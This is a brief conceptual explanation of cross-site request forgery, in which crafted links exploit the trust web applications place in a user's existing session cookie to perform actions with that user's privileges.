An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.